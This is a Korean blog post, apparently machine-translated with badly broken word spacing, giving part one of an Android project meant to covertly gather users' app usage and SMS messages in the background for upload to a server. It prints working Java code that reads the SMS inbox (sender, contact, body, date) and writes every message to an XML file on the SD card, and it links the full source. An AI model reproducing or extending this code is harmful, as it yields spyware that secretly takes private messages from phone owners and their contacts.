안 드 로 이 드 프로젝트 실전 - 사용자 정보 수집 (1)

머리말
안녕하세요!나의 사 이 트 를 계속 방문 하 는 것 을 환영 합 니 다.오늘부터 저 는 이 주제 에서 제 안 드 로 이 드 프로젝트 의 실전 을 기록 할 것 입 니 다. 저 는 이 과정 에서 개인 적 인 경험 과 견 해 를 공유 하고 여러분 께 도움 을 드 리 고 싶 습 니 다. 이 프로젝트 는 안 드 로 이 드 SQLite 의 사용, 반사 공정, 방송 서비스 등 심지어 디자인 모델 에 관 한 지식 을 배 우 는 데 도움 이 될 것 입 니 다.약간의 의식 을 형성 하고 이 책 을 강력 추천 합 니 다) OK, 그렇게 말 하지 않 고 시작 합 시다!
프로젝트 소개
먼저 전체 항목 을 소개 합 니 다. 이 항목 은 정보 안전 에 관 한 것 입 니 다. 주로 배경 에서 사용자 의 프로그램 사용 상황 을 몰래 수집 한 다음 에 수집 한 데 이 터 를 서버 에 업로드 하여 서버 측 에서 데 이 터 를 분석 하고 이용 하도록 합 니 다.어 려 운 점 은 배경 에서 데 이 터 를 수집 하 는 방법 입 니 다. 구체 적 인 수 요 는 다음 과 같 습 니 다.
수요
  • 실시 간 검색 프로그램 (일부 시스템 프로그램 과 모든 사용자 프로그램 포함) 이 실행 되 고 있 는 지, 프로그램의 실행 정 보 를 가 져 옵 니 다
  • 핸드폰 문자 메 시 지 를 받 고 SD 카드 에 파일 형식 으로 저장 하여 업로드 대기
  • > 3. 블 루 투 스 와 같은 일부 장치 의 작 동 을 제어 합 니 다.
    프로젝트 프레임 워 크
    착공 의 첫 번 째 단 계 는 바로 전체 프로젝트 의 구 조 를 구축 하 는 것 이다. 먼저 공 사 는 크게 두 가지 로 나 뉜 다. 하 나 는 엔진 류 로 프로그램의 사용 상황 과 문자 메시지 등 을 얻 는 조작 류 를 포함 하고 다른 하 나 는 서비스 류 로 방송 수신 자 서비스 와 각 서비스 운영 을 관리 하 는 서 비 스 를 포함한다.이 두 가지 큰 종 류 는 모두 인 터 페 이 스 를 추상 화하 여 후기 유지 와 확장 에 편리 하도록 해 야 한다.필 자 는 Android Studio 개발 을 사 용 했 습 니 다. 프로젝트 보 기 는 다음 과 같 습 니 다.![image] (AP 151116 / 1 - PS. jpg 프로젝트 보기)
    문자 조작 클래스 가 져 오기
    공사 의 틀 을 다 잡 은 후에 우 리 는 먼저 간단 한 것 부터 문 자 를 얻 는 조작 이다.이런 작업 은 두 단계 로 나 뉘 는데 첫 번 째 단 계 는 문자 메 시 지 를 받 고 두 번 째 단 계 는 데 이 터 를 저장 하 는 것 이다.그럼 문 자 는 어떻게 받 나 요?안 드 로 이 드 기 초 를 배 운 사람 은 모두 알 고 있 습 니 다. 안 드 로 이 드 의 주소록, 문자 메 시 지 는 모두 SQLite 데이터 에 저장 되 어 있 기 때문에 문 자 를 얻 는 것 은 간단 한 조회 데이터 베이스 작업 입 니 다.오케이, 시작 합 시다.먼저 문자 수신 함 URI 를 들 고 이 URI 를 통 해 우리 가 필요 로 하 는 데이터베이스 폼 을 연결 할 수 있 습 니 다.
        /** *          URI */
        private final String SMS_INBOX_URI = "content://sms/inbox";

    다음은 데이터베이스 조회 작업 입 니 다.
            Uri smsUri = Uri.parse(SMS_INBOX_URI);
            ContentResolver resolver = mContext.getContentResolver();
            String[] projection = {"_id", "address", "person", "body", "date", "type"};
            Cursor cursor = resolver.query(smsUri, projection, null, null, "date desc");

    PS: 여기 서 말씀 드 리 겠 습 니 다. 저 는 블 로그 에 중요 한 부분의 코드 만 붙 였 을 뿐 입 니 다. 여러분 은 제 [github] 에 가 셔 도 됩 니 다. (https://github.com/a-voyager/MoniterDemo github) 사이트 에서 모든 소스 데이터 베 이 스 를 조회 하 는 것 은 아무 말 도 하지 않 았 습 니 다. 바로 {" id", "address", "person", "body", "date", "type"} 이 몇 열의 내용 을 조회 하 는 것 입 니 다.검색 이 끝 난 후 커서 집합 cursor 를 되 돌려 줍 니 다.다음은 커서 집합 을 옮 겨 다 녀 야 합 니 다. 그 전에 준비 작업 이 필요 합 니 다. 인 스 턴 스 클래스 Smsenity 를 만들어 서 모든 문자 메시지 인 스 턴 스 를 저장 합 니 다.
        public class SmsEntity {
            private String name;
            private int id;
            private long person;
            private String body;
            private long date;
            private int type;
            ...
        }

    준비 작업 이 끝나 면 List 목록 에 옮 겨 다 니 며 저장 할 수 있 습 니 다.
            int i = 1;
            SmsEntity sms = null;
            List<SmsEntity> list = new ArrayList<>();
            while (cursor.moveToNext()) {
                sms = new SmsEntity();
                sms.setId(i++);
                sms.setBody(cursor.getString(3));
                sms.setDate(cursor.getLong(4));
                sms.setType(cursor.getInt(5));
                sms.setName(cursor.getString(2));
                sms.setPerson(cursor.getLong(1));
                Log.i(TAG, sms.toString());
                list.add(sms);
            }

    옮 겨 다 니 면 당연히 파일 을 저장 합 니 다. xml 분석 을 SD 카드 에 저장 하면 됩 니 다. 코드 참조:
        /** *                * * @param list      */
        private boolean saveToFile(List<SmsEntity> list) {
            FileOutputStream fos = null;
            XmlSerializer xmlSerializer = Xml.newSerializer();
            File fileDir = new File(Environment.getExternalStorageDirectory().getAbsolutePath() + Constants.SMS_SAVE_FILE_DIR);
            if (!fileDir.exists()) fileDir.mkdirs();
            File file = new File(fileDir, Constants.SMS_SAVE_FILE);
            try {
                fos = new FileOutputStream(file);
                xmlSerializer.setOutput(fos, "utf-8");
                //    
                xmlSerializer.startDocument("utf-8", true);
                xmlSerializer.startTag(null, "SMSs");
                xmlSerializer.attribute(null, "num", String.valueOf(list.size()));
                for (SmsEntity sms : list) {
                    xmlSerializer.startTag(null, "sms");
                    xmlSerializer.attribute(null, "id", String.valueOf(sms.getId()));
                    xmlSerializer.startTag(null, "type");
                    xmlSerializer.text(String.valueOf(sms.getType()));
                    xmlSerializer.endTag(null, "type");
                    xmlSerializer.startTag(null, "name");
                    xmlSerializer.text(sms.getName() == null ? "" : sms.getName());
                    xmlSerializer.endTag(null, "name");
                    xmlSerializer.startTag(null, "person");
                    xmlSerializer.text(String.valueOf(sms.getPerson()));
                    xmlSerializer.endTag(null, "person");
                    xmlSerializer.startTag(null, "date");
                    xmlSerializer.text(String.valueOf(sms.getDate()));
                    xmlSerializer.endTag(null, "date");
                    xmlSerializer.startTag(null, "body");
                    xmlSerializer.text(sms.getBody());
                    xmlSerializer.endTag(null, "body");
                    xmlSerializer.endTag(null, "sms");
                }
                xmlSerializer.endTag(null, "SMSs");
                xmlSerializer.endDocument();
            } catch (Exception e) {
                Log.e(TAG, "saveToFile() failed", e);
                return false;
            } finally {
                try {
                    if (fos != null)
                        fos.close();
                } catch (IOException e) {
                    Log.e(TAG, "fos close failed");
                }
            }
            return true;
        }

    Bingo!이렇게 문자 메 시 지 를 조회 해 파일 에 저장 하 는 기능 이 구현 됐다.
    기간 동안 몇 가지 문 제 를 주의 하 세 요.
  • 문자 읽 기 권한 문제, 가입 과 권한 기억
  • 안 드 로 이 드 유닛 테스트 에서 테스트 코드 를 직접 실행 할 수 없습니다. 이때 Test 류 는 아직 구조 가 완성 되 지 않 았 고 일부 기능 이 완전 하지 않 기 때 문 입 니 다. 예 를 들 어 this. getContext ()
  • xml 분석 과정 start.. () / end.. () 함 수 는 괄호 처럼 쌍 을 지어 쓰 는 것 을 권장 합 니 다
  • 특히 IDE 의 자동 완성 기능 이 너무 스마트 하기 때문에 안 드 로 이 드 권한 을 대문자 로 사용 하여 권한 이 존재 하지만 정확 하지 않 고 잘못 보고 하지 않 습 니 다. 다만 관련 조작 을 수행 할 수 없 기 때문에 필 자 는 여기 서 비참 하 게 되 었 다 고 말 합 니 다 - |

  • 계속...

    좋은 웹페이지 즐겨찾기